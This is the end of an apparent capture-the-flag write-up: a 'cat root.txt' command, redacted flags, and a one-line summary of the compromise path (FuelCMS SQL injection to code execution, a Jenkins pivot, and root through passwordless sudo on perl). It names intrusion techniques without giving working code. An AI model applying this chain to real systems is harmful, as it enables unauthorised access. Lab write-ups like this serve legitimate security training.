cat root.txt
CS{REDACTED}

Flags #

  • User (FuelCMS SQLi → RCE): CS{REDACTED}
  • Root (Jenkins pivot, NOPASSWD sudo on perl): CS{REDACTED}